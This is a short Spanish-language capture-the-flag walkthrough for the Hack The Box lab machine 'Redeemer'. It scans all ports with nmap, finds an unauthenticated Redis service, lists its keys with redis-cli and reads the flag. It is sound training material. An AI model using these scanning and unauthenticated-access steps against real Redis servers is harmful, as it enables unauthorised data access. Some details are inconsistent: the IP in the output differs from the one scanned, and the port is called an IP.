Redeemer (Linux)

Primero que todo vamos a escanear los puertos abiertos de la siguiente IP: 10.129.169.122

```
nmap -p- -vvv -n -Pn -T5 --min-rate 5000 -oN puertos.txt 10.129.169.122
```

Y nos devuelve la siguiente información:

```
root@kali:/home/kali/Desktop/HackTheBox/StartingPoint/Redeemer# cat puertos.nmap
# Nmap 7.94 scan initiated Wed Oct 11 04:07:00 2023 as: nmap -p- -vvv -n -Pn -T5 --min-rate 5000 -oN puertos.nmap 10.129.169.122
Warning: 10.129.169.122 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.169.122
Host is up, received user-set (0.053s latency).
Scanned at 2023-10-11 04:07:00 EDT for 16s
Not shown: 65525 closed tcp ports (reset)
PORT      STATE    SERVICE REASON
717/tcp   filtered unknown no-response
6379/tcp  open     redis   syn-ack ttl 63
```

Cómo podemos ver la IP 6379 pertenece al servicio de “REDIS”

Así que para acceder al servidor de redis utilizaremos el siguiente comando:

```
redis-cli -h 10.129.169.122
```

Una vez hayamos accedido al servidor de redis, debemos ver las “KEYS” que están presentes, así que haremos lo siguiente:

```
INFO
```

Y nos devuelve el siguiente OutPut:

```
10.10.10.127:6379> info

# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924

[** SNIP **]

# Keyspace
db0:keys=4,expires=0,avg_ttl=0
```

Al ver que existen 4 “KEYS”, veremos la información que existe:

```
SELECT 0
KEYS *
```

Y tendremos el siguiente output:

```
10.10.10.127:6379> keys *
1) "temp"
2) "stor"
3) "numb"
4) "flag"
```

Así que al ver el nombre flag, solo tendremos que ejecutar el siguiente comando para tener la flag del ususario root:

```
get flag
```